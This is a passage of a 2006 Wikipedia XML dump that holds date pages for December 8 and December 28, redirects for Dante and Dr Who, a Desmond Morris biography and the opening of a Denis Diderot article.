*[[1815]] - [[Adolph Menzel]], German painter and graphic artist (d. [[1905]])
*[[1816]] - [[August Belmont, Sr.]], Prussian-born American financier (d. [[1890]])
*[[1832]] - [[Bjørnstjerne Bjørnson]], Norwegian author and [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1910]])
*[[1848]] - [[Joel Chandler Harris]], American author and folklorist (d. [[1908]])
*[[1861]] - [[William C. Durant]], American automobile pioneer (d. [[1947]])
*1861 - [[Aristide Maillol]], French sculptor (d. [[1944]])
*[[1862]] - [[Georges Feydeau]], French playwright  (d. [[1921]])
*[[1864]] - [[Camille Claudel]], French graphic artist (d. [[1943]])
*[[1865]] - [[Jean Sibelius]], Finnish composer (d. [[1957]])
*[[1886]] - [[Diego Rivera]], Mexican painter (d. [[1957]])
*[[1890]] - [[Bohuslav Martinů]], Czech composer (d. [[1959]])
*[[1894]] - [[James Thurber]], American writer (d. [[1961]])
*[[1911]] - [[Lee J. Cobb]], American actor (d. [[1976]])
*[[1913]] - [[Delmore Schwartz]], American Poet (d. [[1966]])
*[[1915]] - [[Ernest Lehman]], American screenwriter (d. [[2005]])
*[[1918]] - [[Gérard Souzay]], French baritone (d. [[2004]])
*[[1919]] - [[Peter Tali Coleman]], American politician (d. [[1997]])
*[[1923]] - [[Rudolph Pariser]], Chinese-born American chemist
*[[1925]] - [[Sammy Davis Jr.]], American actor and singer (d. [[1990]])
*[[1927]] - [[Vladimir Shatalov]], Soviet Union-born cosmonaut
*[[1930]] - [[Maximilian Schell]], Austrian-born Swiss actor, film director, and author
*[[1933]] - [[Flip Wilson]], American comedian (d. [[1998]])
*[[1936]] - [[David Carradine]], American actor
*[[1937]] - [[James MacArthur]], American actor
*1937 - [[Arne Næss Jr.]], Norwegian mountain climber and businessman (d. [[2004]])
*[[1939]] - Sir [[James Galway]], Northern Irish flautist
*[[1943]] - [[Jim Morrison]], American singer ([[The Doors]]) (d. [[1971]])
*1943 - [[Mary Woronov]], American actress
*[[1947]] - [[Gregg Allman]], American musician
*1947 - [[Thomas R. Cech]], American chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1948]] - [[Gary Thain]], New Zealand bassist ([[Uriah Heep (band)|Uriah Heep]]) (d. [[1975]]
*[[1949]] - [[Robert Sternberg]], Proposed the Triarchic Theory of Intelligence 
*[[1950]] - [[Rick Baker]], American film makeup artist
*[[1951]] - [[Jan Eggum]], Norwegian singer-songwriter
*[[1953]] - [[Kim Basinger]], American actress
*[[1956]] - [[Warren Cuccurullo]], American musician
*[[1957]] - [[Phil Collen]], British guitarist ([[Def Leppard]])
*[[1961]] - [[Ann Coulter]], American author, political commentator, and attorney
*[[1962]] - [[Marty Friedman (guitarist)|Marty Friedman]], American guitarist
*[[1964]] - [[Teri Hatcher]], American actress
*[[1966]] - [[Sinéad O'Connor]], Irish musician
*[[1968]] - [[Mike Mussina]], American baseball player
*[[1973]] - [[Corey Taylor]], American singer ([[Slipknot (band)|Slipknot]])
*[[1975]] - [[Kevin Harvick]], American NASCAR driver
*[[1976]] - [[Dominic Monaghan]], German-born British actor
*1976 - [[Naimee Coleman]], Irish singer and songwriter
*[[1978]] - [[Ian Somerhalder]], American actor
*1978 - [[Vernon Wells (baseball player)|Vernon Wells]], American baseball player
*[[1982]] - [[Michael Essien]], [[Ghana national football team|Ghanaian]] international footballer
*[[1986]] - [[Amir Khan (boxer)|Amir Khan]], British boxer
*[[1993]] - [[AnnaSophia Robb]], American child actress

==Deaths==
*[[899]] - [[Arnulf of Carinthia]] (b. [[850]])
*[[1626]] - [[John Davies (poet)|John Davies]], English poet (b. [[1569]])
*[[1632]] - [[Philippe van Lansberge]], Flemish astronomer (b. [[1561]])
*[[1638]] - [[Ivan Gundulic]], Croatian poet (b. [[1589]])
*[[1643]] - [[John Pym]], English statesman (b. [[1583]])
*[[1649]] - [[Noël Chabanel]], French Jesuit missionary (b. [[1613]])
*[[1680]] - [[Henry Pierrepont, 1st Marquess of Dorchester]], English politician (b. [[1606]])
*[[1691]] - [[Richard Baxter]], English clergyman (b. [[1615]])
*[[1695]] - [[Barthélemy d'Herbelot de Molainville]], French orientalist (b. [[1625]])
*[[1709]] - [[Thomas Corneille]], French dramatist (b. [[1625]])
*[[1722]] - [[Liselotte von der Pfalz]], [[Duchess of Orléans]] and sister-in-law of King [[Louis XIV of France]] (b. [[1652]])
*[[1745]] - [[Etienne Fourmont]], French orientalist (b. [[1683]])
*[[1744]] - [[Marie-Anne de Mailly-Nesle duchess de Châteauroux|Marie-Anne de Mailly-Nesle, Duchess de Châteauroux]], French mistress of King [[Louis XV of France]] (b. [[1717]])
*[[1746]] - [[Charles Radclyffe]], British politician (b. [[1693]])
*[[1756]] - [[William Stanhope, 1st Earl of Harrington]], British statesman and diplomat
*[[1768]] - [[Jean Denis Attiret]], French Jesuit missionary and painter (b. [[1702]])
*[[1830]] - [[Benjamin Constant]], Swiss writer (b. [[1767]])
*[[1859]] - [[Thomas de Quincey]], British author (b. [[1785]])
*[[1864]] - [[George Boole]], British mathematician and philosopher, inventor of Boolean algebra (b. [[1815]])
*[[1907]] - King [[Oscar II of Sweden]] (b. [[1829]])
*[[1917]] - [[Mendele Moykher Sforim]], Russian writer (b. [[1836]])
*[[1952]] - [[Charles Lightoller]], British second officer on the Titanic (b. [[1874]])
*[[1958]] - [[Tris Speaker]], American baseball player (b. [[1888]])
*[[1963]] - Field Marshal [[Sarit Dhanarajata]], [[Prime Minister of Thailand]] (b. [[1908]])
*[[1978]] - [[Golda Meir]], Russian-born [[Prime Minister of Israel]] (b. [[1898]])
*[[1980]] - [[John Lennon]], British musician, singer, and songwriter (b. [[1940]])
*1980 - [[Darby Crash]], American singer and songwriter ([[The Germs]]) (b. [[1958]])
*[[1982]] - [[Marty Robbins]], American singer (b. [[1925]])
*[[1983]] - [[Slim Pickens]], American actor (b. [[1919]])
*[[1984]] - [[Luther Adler]], American actor (b. [[1903]])
*[[1992]] - [[William Shawn]], American magazine editor (b. [[1917]])
*[[1994]] - [[Tom Jobim]], Brazilian composer and arranger (b. [[1927]])
*[[1999]] - [[Kuczka Péter]], Hungarian writer, poet, and science fiction editor (b. [[1923]])
*[[2001]] - [[Don Tennant]], American advertising executive (b. [[1922]])
*[[2003]] - [[Rubén González]], Cuban pianist ([[Buena Vista Social Club]])
*2003 - [[Hans Hotter]], German bass-baritone (b. [[1909]])
*[[2004]] - [[Dimebag Darrell]] (Darrell Abbott), American guitarist (b. [[1966]])
*[[2005]] - [[Georgiy Zhzhonov]] [[Russia]]n actor and author (b. [[1915]])

==Holidays and observances==
* [[Buddhism]] - The [[Bodhi|Enlightenment]] of [[Gautama Buddha]]
* [[Calendar of Saints|R.C. Saints]] - The solemnity of the [[Immaculate Conception]] of the Virgin Mary: a [[Holy Day of Obligation]]
* Also see [[December 8 (Eastern Orthodox liturgics)]]
* [[Bulgaria]] - Day of the Student (studentski praznik)
* [[Italy]] - In [[Milan]], the [[opera]] season starts.
* [[Malta]] - Public Holiday.
* [[Holidays in Romania|Romania]] - [[Constitution Day]]
* Afflux ([[Discordian calendar|50 Aftermath]]) ([[Discordianism]])
* [[Panama]] - Mother's Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/8 BBC: On This Day]

----

[[December 7]] - [[December 9]] - [[November 8]] - [[January 8]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:8 Desember]]
[[ar:8 ديسمبر]]
[[an:8 d'abiento]]
[[ast:8 d'avientu]]
[[bg:8 декември]]
[[be:8 сьнежня]]
[[bs:8. decembar]]
[[ca:8 de desembre]]
[[ceb:Disyembre 8]]
[[cv:Раштав, 8]]
[[co:8 di decembre]]
[[cs:8. prosinec]]
[[cy:8 Rhagfyr]]
[[da:8. december]]
[[de:8. Dezember]]
[[et:8. detsember]]
[[el:8 Δεκεμβρίου]]
[[es:8 de diciembre]]
[[eo:8-a de decembro]]
[[eu:Abenduaren 8]]
[[fo:8. desember]]
[[fr:8 décembre]]
[[fy:8 desimber]]
[[ga:8 Nollaig]]
[[gl:8 de decembro]]
[[ko:12월 8일]]
[[hr:8. prosinca]]
[[io:8 di decembro]]
[[id:8 Desember]]
[[ia:8 de decembre]]
[[is:8. desember]]
[[it:8 dicembre]]
[[he:8 בדצמבר]]
[[jv:8 Desember]]
[[ka:8 დეკემბერი]]
[[csb:8 gòdnika]]
[[ku:8'ê berfanbarê]]
[[la:8 Decembris]]
[[lt:Gruodžio 8]]
[[lb:8. Dezember]]
[[hu:December 8]]
[[mk:8 декември]]
[[ms:8 Disember]]
[[nap:8 'e dicembre]]
[[nl:8 december]]
[[ja:12月8日]]
[[no:8. desember]]
[[nn:8. desember]]
[[oc:8 de decembre]]
[[pl:8 grudnia]]
[[pt:8 de Dezembro]]
[[ro:8 decembrie]]
[[ru:8 декабря]]
[[se:Juovlamánu 8.]]
[[sco:8 December]]
[[sq:8 Dhjetor]]
[[scn:8 di dicèmmiru]]
[[simple:December 8]]
[[sk:8. december]]
[[sl:8. december]]
[[sr:8. децембар]]
[[fi:8. joulukuuta]]
[[sv:8 december]]
[[tl:Disyembre 8]]
[[tt:8. Dekäber]]
[[te:డిసెంబర్ 8]]
[[th:8 ธันวาคม]]
[[vi:8 tháng 12]]
[[tr:8 Aralık]]
[[uk:8 грудня]]
[[wa:8 di decimbe]]
[[war:Disyembre 8]]
[[zh:12月8日]]
[[pam:Disiembri 8]]</text>
    </revision>
  </page>
  <page>
    <title>Dante</title>
    <id>8195</id>
    <revision>
      <id>15906209</id>
      <timestamp>2004-11-29T16:48:57Z</timestamp>
      <contributor>
        <username>Number 0</username>
        <id>86732</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Dante Alighieri]]</text>
    </revision>
  </page>
  <page>
    <title>Dr Who</title>
    <id>8196</id>
    <revision>
      <id>15906210</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Doctor Who]]
</text>
    </revision>
  </page>
  <page>
    <title>Desmond Morris</title>
    <id>8197</id>
    <revision>
      <id>39950250</id>
      <timestamp>2006-02-17T01:00:03Z</timestamp>
      <contributor>
        <ip>194.152.194.119</ip>
      </contributor>
      <text xml:space="preserve">'''Dr Desmond Morris''' (born [[24 January]] [[1928]] in the village of [[Purton]], [[United Kingdom|UK]]) is most famous for his work as a [[zoology|zoologist]] and [[ethology|ethologist]]. He first came to attention in the 1960s as a presenter of [[ITV]] television's ''[[Zoo Time]]''. His studies focus on animal and human behaviour, explained from a zoological point of view. He has written a number of books and produced a number of television shows. His examination of humans from a bluntly zoological point of view has attracted controversy. Although he is a [[sociobiologist]] himself, many others in the field consider Morris to be something of a [[pseudoscience|pseudoscientist]], or merely a populariser. His [[Savanna Theory]] has been known to be questioned by [[Elaine Morgan (writer)|Elaine Morgan]] with the [[aquatic ape hypothesis]].

In addition to his scientific pursuits, he is an [[artist]] in the [[Surrealist]] tradition. Morris has contributed significantly to the British Surrealist movement. He had his first solo show in 1948, and has shown regularly ever since.

In 1951 having obtained a First Class Honours Degree in [[Zoology]] from [[Birmingham University]] he begins research for his doctorate in animal behaviour at Oxford
  
In 1954 he was awarded a [[D.Phil]] from [[Oxford University]] for his doctoral thesis on the Reproductive Behaviour of the Ten-spined Stickleback.

In 1957 he curated an exhibition of chimpanzee paintings and drawings at the [[Institute of Contemporary Arts]], London, including paintings by a young [[chimpanzee]] called Congo. [[Pablo Picasso]] indicated his support for Morris and the ape by biting a reporter who suggested to him that the chimp's work was not art. Picasso is reported to have purchased a painting by Congo.

== Selected books ==
* ''The Mammals A Guide to the Living Species'' ([[1965]]) &amp;ndash; a comprehensive listing of all mammal genera, all non-rodent non-bat species, and additional information on select species.
* ''[[The Naked Ape]]'' ([[1967]]) &amp;ndash; an unabashed look at the human species. The book is notable for its focus on humanity's animal-like qualities and our similarity with apes. Reprinted many times and in many languages, it continues to be a best-seller.
* [[The Human Zoo (book)|The Human Zoo]] ([[1969]]) &amp;ndash; a further, deeper look into mankind and its animal roots.
* ''Intimate Behaviour'' ([[1971]])
* ''Manwatching'' ([[1977]]) reprinted as ''Peoplewatching'' ([[2002]])
* ''Gestures: Their Origin and Distribution'' ([[1979]])
* ''Animal Days'' ([[1979]])
* ''Soccer Tribe'' ([[1981]])
* ''Pocket Guide to Manwatching'' ([[1982]])
* ''Inrock'' ([[1983]])
* ''Bodywatching &amp;ndash; A Field Guide to the Human Species'' ([[1985]]) &amp;ndash; Hundreds of photos analyzing the human body from hair down to the feet.
* ''Catwatching'' ([[1986]]) &amp;ndash; a study of one of the most popular of household pets across the centuries.
* ''Dogwatching'' ([[1986]]) &amp;ndash; an in-depth study of &quot;man's best friend&quot;.
* ''Animalwatching'' ([[1990]])
* ''Babywatching'' ([[1991]])
* ''[[The Human Animal]]'' ([[1994]])
* ''The Naked Eye'' ([[2001]])
* ''Dogs: The Ultimate Dictionary of over 1000 Dog Breeds'' ([[2001]])
* ''Peoplewatching: The Desmond Morris Guide to Body Language'' ([[2002]])
* ''[[The Naked Woman]]'' ([[2004]])

== External links ==
* His [http://www.desmond-morris.com official site] contains more information and a complete biography.
* [http://www.televisionheaven.co.uk/zootime.htm ''Zoo Time'']
* [http://mypage.direct.ca/w/writer/Desmond.html Biomorphic Surrealism by Desmond Morris]

[[Category:1928 births|Morris, Desmond]]
[[Category:Living people|Morris, Desmond]]
[[Category:Science writers|Morris, Desmond]]
[[Category:Zoologists|Morris, Desmond]]
[[Category:Ethologists|Morris, Desmond]]
[[Category:University of Birmingham alumni|Morris, Desmond]]

[[de:Desmond Morris]]
[[es:Desmond Morris]]
[[fr:Desmond Morris]]
[[io:Desmond Morris]]
[[it:Desmond Morris]]
[[ja:デズモンド・モリス]]
[[nl:Desmond Morris]]
[[fi:Desmond Morris]]</text>
    </revision>
  </page>
  <page>
    <title>December 28</title>
    <id>8198</id>
    <revision>
      <id>42014427</id>
      <timestamp>2006-03-03T05:42:54Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed non-noteable, removed redundant year link</comment>
      <text xml:space="preserve">'''[[December 28]]''' is the 362nd day of the year (363rd in [[leap year]]s) in the [[Gregorian Calendar]], with 3 days remaining.

{{DecemberCalendar}}

==Events==
*[[418]] - [[Pope Boniface I|St. Boniface I]] becomes [[Pope]].
*[[1065]] - [[Westminster Abbey]] is consecrated.  
*[[1308]] - The reign of [[Emperor Hanazono]], [[emperor of Japan]], begins.
*[[1612]] - [[Galileo Galilei]] becomes the first [[astronomer]] to observe the [[planet]] [[Neptune (planet)|Neptune]] when it was in [[astronomical conjunction|conjunction]] with [[Jupiter (planet)|Jupiter]], yet he mistakenly catalogued it as a [[fixed star]] because of its extremely slow motion along the [[ecliptic]] at that time. Neptune was not truly discovered until [[1846]], about 234 years after Galileo first sighted it with his [[telescope]].
*[[1832]] - [[John C. Calhoun]] becomes the first [[Vice President of the United States]] to resign.
*[[1835]] - [[Osceola]] led his [[Seminole (tribe)|Seminole]] warriors in [[Florida]] into the [[Seminole Wars|Second Seminole War]] against the [[United States Army|U.S. Army]].
*[[1836]] - [[South Australia]] and [[Adelaide]] are founded.
*1836 - [[Spain]] recognizes independence of [[Mexico]].
*[[1846]] - [[Iowa]] is admitted as the 29th [[U.S. state]]. 
*[[1869]] - William E. Semple of [[Mt. Vernon, Ohio]] patents [[chewing gum]].
*[[1879]] - [[The Tay Bridge Disaster]]: The central part of the [[Tay Rail Bridge]] in [[Dundee, Scotland]] collapses as a train passed over it, killing 75.  
*[[1895]] - The [[Auguste and Louis Lumière|Lumière brothers]] have their first paying audience at the Grand Cafe in ''Boulevard des Capucines'' marking the debut of the [[movie theater|cinema]].
*[[1897]] - The play ''[[Cyrano de Bergerac (play)|Cyrano de Bergerac]]'', by [[Edmond Rostand]], premieres in [[Paris]]. 
*[[1902]] - The first indoor professional [[American football]] game is played in [[New York City]] at [[Madison Square Garden]].  
*[[1908]] - An [[earthquake]] rocks [[Messina, Italy|Messina]], [[Sicily]] killing over 75,000.
*[[1928]] - The first municipally owned [[streetcar]]s take to the streets in [[San Francisco]].
*[[1945]] - The [[Congress of the United States|U.S. Congress]] officially recognizes the [[Pledge of Allegiance]].
*[[1950]] - The [[Peak District]] becomes the United Kingdom's first [[List of national parks of England and Wales|National Park]].  
*[[1973]] - [[Alexander Solzhenitsyn]] publishes [[Gulag Archipelago]].  
*[[1974]] - [[Senegal]]ese [[marxist]] group ''[[Reenu-Rew]]'' founds the political movement [[And-Jëf]] at a clandestine congress.
*[[1981]] - The first American [[test-tube baby]], [[Elizabeth Jordan Carr]], is born in [[Norfolk, Virginia]].
*1981 - The [[HBO]] pay [[cable television]] service expanded its schedule offering to 24 hours a day, seven days a week.
*[[1984]] - After 28 seasons, [[soap opera]] [[The Edge of Night]] broadcasts its final show.
*[[1989]] - A magnitude 5.6 [[earthquake]] hits [[Newcastle, New South Wales]], [[Australia]], killing 13 people.   
*[[1991]] - Nine are crushed while a crowd pushes their way into a [[basketball]] game at [[City College of New York]].  
*1991 - [[Sonic the Hedgehog (Game Gear)|Sonic the Hedgehog]] [[Game Gear]] version is released in [[Japan]].
*[[1995]] - [[CompuServe]] sets a precedent by blocking access to sex-oriented newsgroups after being pressured by [[Germany|German]] prosecutors.
*[[1999]] - [[Saparmurat Niyazov]] is proclaimed [[President for Life]] in [[Turkmenistan]].
*[[2000]] - [[Adrian Nastase|Adrian N&amp;#259;stase]] becomes the [[Prime Minister of Romania|Prime Minister]] of [[Romania]].
*2000 - [[U.S.]] retail giant [[Montgomery Ward]] announces it is going out of business after 128 years.
*[[2005]] - A [[U.S.]] immigration judge orders [[John Demjanjuk]] deported to the [[Ukraine]] for crimes against humanity commited during [[World War II]].

==Births==
*[[1164]] - [[Emperor Rokujo]] of Japan (d. [[1176]])
*[[1522]] - [[Margaret of Austria (1522-1583)|Margaret of Austria]], regent of the Netherlands (d. [[1583]])
*[[1619]] - [[Antoine Furetière]], French writer (d. [[1688]])
*[[1655]] - [[Charles Cornwallis, 3rd Baron Cornwallis]], First Lord of the British Admiralty (d. [[1698]])
*[[1665]] - [[George FitzRoy, 1st Duke of Northumberland]], British general (d. [[1716]])
*[[1856]] - [[Woodrow Wilson]], 28th [[President of the United States]], recipient of the [[Nobel Peace Prize]] (d. [[1924]])
*[[1879]] - [[Billy Mitchell]], American military aviation pioneer (d. [[1936]])
*[[1882]] - [[Arthur Eddington]], British astronomer and physicist (d. [[1944]])
*[[1888]] - [[F. W. Murnau|Friedrich Wilhelm Murnau]], German film director (d. [[1931]])
*[[1898]] - [[Carl-Gustaf Rossby]], Swedish meteorologist (b. [[1957]])
*[[1899]] - [[Eugeniusz Bodo]], Polish actor (d. [[1943]])
*[[1902]] - [[Mortimer Adler]], American philosopher (d. [[2001]])
*1902 - [[Shen Congwen]], Chinese writer (d. [[1988]])
*[[1903]] - [[Earl Hines|Earl &quot;Fatha&quot; Hines]], American musician (d. [[1983]])
*1903 - [[John von Neumann]], Hungarian-born mathematician (d. [[1957]]) 
*[[1905]] - [[Cliff Arquette]], American actor and comedian (d. [[1974]])
*[[1908]] - [[Lew Ayres]], American actor (d. [[1996]])
*[[1922]] - [[Stan Lee]], American comic book writer
*[[1924]] - [[Milton Obote]], [[President of Uganda]] (d. [[2005]])
*[[1925]] - [[Hildegard Knef]], German actress, singer and writer (d. [[2002]])
*[[1929]] - [[Brian Redhead]], British journalist and broadcaster (d. [[1994]])
*1929 - [[Terry Sawchuk]], Canadian hockey player (d. [[1970]])
*[[1931]] - [[Guy Debord]], French writer and filmmaker (d. [[1994]])
*[[1932]] - [[Dhirubhai Ambani]], Indian businessman (d. [[2002]])
*1932 - [[Manuel Puig]], Argentine writer (d. [[1990]])
*1932 - [[Roy Hattersley]], British politician
*[[1933]] - [[Nichelle Nichols]], American actress and singer
*[[1934]] - [[Maggie Smith]], British actress
*1934 - [[Yujiro Ishihara]], Japanese actor (d. [[1987]])
*[[1938]] - [[Charles Neville]], American musician ([[Neville Brothers]])
*[[1940]] - [[Don Francisco (television host)|Don Francisco]], Chilean TV host 
*[[1943]] - [[Richard Whiteley]], British television presenter (d. [[2005]])
*[[1944]] - [[Kary Mullis]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1946]] - [[Edgar Winter]], American musician
*[[1947]] - [[Aurelio Rodríguez]], Mexican baseball player (d. [[2000]])
*[[1953]] - [[Richard Clayderman]], French pianist
*[[1954]] - [[Denzel Washington]], American actor
*[[1956]] - [[Nigel Kennedy]], British violinist
*[[1960]] - [[Raymond Bourque]], Canadian [[ice hockey]] player
*[[1967]] - [[Chris Ware]], American cartoonist
*[[1969]] - [[Linus Torvalds]], Finnish computer programmer
*[[1971]] - [[Frank Sepe]], American bodybuilder and model
*[[1972]] - [[Patrick Rafter]], Australian tennis player
*1972 - [[Adam Vinatieri]], American Football player 
*[[1978]] - [[John Legend]], American singer, songwriter, and pianist
*[[1981]] - [[Sienna Miller]], British actress
*[[1982]] - [[Cedric Benson]], American football player
*[[1989]] - [[Mackenzie Rosman]], American actress

==Deaths==
*[[1367]] - [[Ashikaga Yoshiakira]], Japanese shogun (b. [[1330]])
*[[1446]] - [[Antipope Clement VIII]]
*[[1503]] - [[Piero di Lorenzo de' Medici]], ruler of Florence (b. [[1471]])
*[[1558]] - [[Hermann Finck]], German composer (b. [[1527]])
*[[1622]] - [[Francis de Sales]], Bishop of Geneva and saint (b. [[1567]])
*[[1663]] - [[Francesco Maria Grimaldi]], Italian mathematician and physicist (b. [[1618]])
*[[1671]] - [[Johann Friedrich Gronovius]], German classical scholar (b. [[1611]])
*[[1694]] - Queen [[Mary II of England]] (b. [[1662]])
*[[1703]] - [[Mustafa II]], [[Ottoman Sultan]] (b. [[1664]])
*[[1706]] - [[Pierre Bayle]], French philosopher (b. [[1647]])
*[[1708]] - [[Joseph Pitton de Tournefort]], French botanist (b. [[1656]])
*[[1715]] - [[William Carstares]], Scottish minister (b. [[1649]])
*[[1734]] - [[Robert Roy MacGregor]], Scottish folk hero (b. [[1671]])
*[[1736]] - [[Antonio Caldara]], Italian composer (b. [[1670]])
*[[1829]] - [[Jean-Baptiste Lamarck]], French scientist (b. [[1744]])
*[[1859]] - [[Thomas Macaulay]], British poet, historian, and politician (b. [[1800]])
*[[1900]] - [[Alexandre Alberto da Rocha de Serpa Pinto]], Portuguese explorer (b. [[1846]])
*[[1916]] - [[Eduard Strauss]], Austrian composer (b. [[1835]])
*[[1918]] - [[Olavo Bilac]], Brazilian poet (b. [[1865]])
*[[1919]] - [[Johannes Rydberg]], Swedish physicist (b. [[1854]])
*[[1924]] - [[Léon Bakst]], Russian artist (b. [[1866]])
*[[1937]] - [[Maurice Ravel]], French composer (b. [[1875]])
*[[1938]] - [[Florence Lawrence]], American actress (b. [[1886]])
*[[1945]] - [[Theodore Dreiser]], American author (b. [[1871]])
*[[1947]] - King [[Victor Emmanuel III of Italy]] (b. [[1869]])
*[[1949]] - [[Jack Lovelock]], New Zealand athlete (b. [[1910]])
*[[1952]] - [[Fletcher Henderson]], American musician (b. [[1897]])
*[[1963]] - [[Paul Hindemith]], German composer (b. [[1895]])
*[[1967]] - [[Katharine McCormick]], American women's rights activist (b. [[1875]])
*[[1976]] - [[Katharine Byron]], U.S. Congresswoman (b. [[1903]])
*[[1981]] - [[Allan Dwan]], Canadian-born film director  (b. [[1885]])
*[[1983]] - [[William Demarest]], American actor (b. [[1892]])
*1983 - [[Jimmy Demaret]], American golfer (b. [[1910]])
*1983 - [[Dennis Wilson]], American musician ([[The Beach Boys]]) (b. [[1944]])
*[[1984]] - [[Sam Peckinpah]], American film director (b. [[1925]])
*[[1986]] - [[Andrei Tarkovsky]], Russian film director (b. [[1932]])
*[[1989]] - [[Hermann Oberth]], German physicist (b. [[1894]])
*[[1991]] - [[Cassandra Harris]], Australian actress (b. [[1952]])
*[[1998]] - [[Claudia Benton]], Peruvian child psychologist (b. [[1959]])
*[[1999]] - [[Clayton Moore]], American actor (b. [[1914]])
*[[2001]] - [[William X. Kienzle]], American novelist (b. [[1928]])
*[[2003]] - [[Benjamin Thurman Hacker|Benjamin Hacker]], U.S. admiral (b. [[1935]])
*2003 - [[Dinsdale Landen]], British actor (b. [[1932]])
*[[2004]] - [[Jerry Orbach]], American actor (b. [[1935]])
*2004 - [[Susan Sontag]], American writer and activist (b. [[1933]])

==Holidays and observances==
*[[Calendar of Saints]] - Feast of the [[Holy Innocents]], a.k.a. ''Childermas'', commemorating the [[Massacre of the Innocents]] on order of king [[Herod the Great]].   In [[Spain]] and [[Latin America]]n countries the festival is celebrated in a manner similar to [[April Fool's Day]].
* The third [[Twelve days of Christmas|day of Christmas]] in Western [[Christianity]].
*[[USA]] - Admission Day of [[Iowa]] (29th state, [[1846]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/28 BBC: On This Day]
* [http://www.tnl.net/when/12/28 Today in History: December 28]

----

[[December 27]] - [[December 29]] - [[November 28]] - [[January 28]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Disyembre 28]]
[[nap:28 'e dicembre]]
[[war:Disyembre 28]]
[[pam:Disiembri 28]]

[[af:28 Desember]]
[[ar:28 ديسمبر]]
[[an:28 d'abiento]]
[[ast:28 d'avientu]]
[[bg:28 декември]]
[[be:28 сьнежня]]
[[bs:28. decembar]]
[[ca:28 de desembre]]
[[cv:Раштав, 28]]
[[co:28 di decembre]]
[[cs:28. prosinec]]
[[cy:28 Rhagfyr]]
[[da:28. december]]
[[de:28. Dezember]]
[[et:28. detsember]]
[[el:28 Δεκεμβρίου]]
[[es:28 de diciembre]]
[[eo:28-a de decembro]]
[[eu:Abenduaren 28]]
[[fo:28. desember]]
[[fr:28 décembre]]
[[fy:28 desimber]]
[[ga:28 Nollaig]]
[[gl:28 de decembro]]
[[ko:12월 28일]]
[[hr:28. prosinca]]
[[io:28 di decembro]]
[[id:28 Desember]]
[[ia:28 de decembre]]
[[is:28. desember]]
[[it:28 dicembre]]
[[he:28 בדצמבר]]
[[jv:28 Desember]]
[[ka:28 დეკემბერი]]
[[csb:28 gòdnika]]
[[ku:28'ê berfanbarê]]
[[la:28 Decembris]]
[[lt:Gruodžio 28]]
[[lb:28. Dezember]]
[[hu:December 28]]
[[mk:28 декември]]
[[ms:28 Disember]]
[[nl:28 december]]
[[ja:12月28日]]
[[no:28. desember]]
[[nn:28. desember]]
[[oc:28 de decembre]]
[[os:28 декабры]]
[[pl:28 grudnia]]
[[pt:28 de Dezembro]]
[[ro:28 decembrie]]
[[ru:28 декабря]]
[[se:Juovlamánu 28.]]
[[sco:28 December]]
[[sq:28 Dhjetor]]
[[scn:28 di dicèmmiru]]
[[simple:December 28]]
[[sk:28. december]]
[[sl:28. december]]
[[sr:28. децембар]]
[[fi:28. joulukuuta]]
[[sv:28 december]]
[[tl:Disyembre 28]]
[[tt:28. Dekäber]]
[[te:డిసెంబర్ 28]]
[[th:28 ธันวาคม]]
[[vi:28 tháng 12]]
[[tr:28 Aralık]]
[[uk:28 грудня]]
[[wa:28 di decimbe]]
[[zh:12月28日]]</text>
    </revision>
  </page>
  <page>
    <title>Denis Diderot</title>
    <id>8199</id>
    <revision>
      <id>41782396</id>
      <timestamp>2006-03-01T18:40:19Z</timestamp>
      <contributor>
        <username>Vignaux</username>
        <id>615</id>
      </contributor>
      <comment>Revert to revision 40811866 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:DiderotVanLoo.jpg|thumb|right|''Portrait of Diderot'' by [[Louis-Michel van Loo]], 1767]]

'''Denis Diderot''' ([[October 5]], [[1713]] &amp;ndash; [[July 31]], [[1784]]) was a [[France|French]] [[philosopher]] and [[writer]]. Born in [[Langres]], [[Champagne, France]] in 1713, he was a prominent figure in what became known as the [[The Age of Enlightenment|Enlightenment]], and was the editor-in-chief of the famous ''[[Encyclopédie]]''.

Diderot also contributed to [[literature]], notably with his work ''[[Jacques le fataliste et son maître]]'', which, in emulation of [[Sterne]], challenged conventions regarding [[novel]]s and their structure and content, while also examining [[philosophy|philosophical]] ideas relating to [[free will]]. He is also known as the author of the essay ''Regrets on Parting with My Old Dressing Gown'', upon which many an [[essay|article]] and [[sermon]] about consumer desire have been based.

He was educated by the [[Jesuits]], and became a bookseller in [[Paris]]. In [[1743]] he married [[Anne Toinette Champion]], a devout [[Roman Catholic]]. He had affairs with the writer [[Madame Puisieux]] and with [[Sophie Volland]], to whom he was constant for the rest of her life. His letters to her are among the most graphic of all the pictures that we have of the daily life of the philosophic circle in Paris.

==Early works==
{{French literature (small)}}
Diderot's earliest works included a translation of [[Temple Stanyan|Stanyan]]'s ''History of Greece'' (1743); with two colleagues, [[François-Vincent Toussaint]] and [[Marc-Antoine Eidous]], he produced a translation of [[Dr. James of London|James]]'s ''Dictionary of Medicine'' [http://www.harpers.org/AMajesticLiteraryFossil.html] (1746&amp;ndash;1748) and about the same date he published a free rendering of [[Anthony Ashley-Cooper, 3rd Earl of Shaftesbury|Shaftesbury]]'s ''Inquiry Concerning Virtue and Merit'' (1745), with some original notes of his own. He composed a volume of bawdy stories, the ''[[Les bijoux indiscrets]]'' (1748); in later years he repented of this work. In 1746 he wrote the ''Pensées philosophiques'' (1746), and he presently added to this a short complementary essay on the sufficiency of [[natural religion]].

In 1747 he wrote the ''Promenade du sceptique'', an [[allegory]] pointing first to the extravagances of [[Catholicism]]; second, to the vanity of the pleasures of that world which is the rival of the church; and third, to the desperate and unfathomable uncertainty of the philosophy which professes to be so high above both church and world.

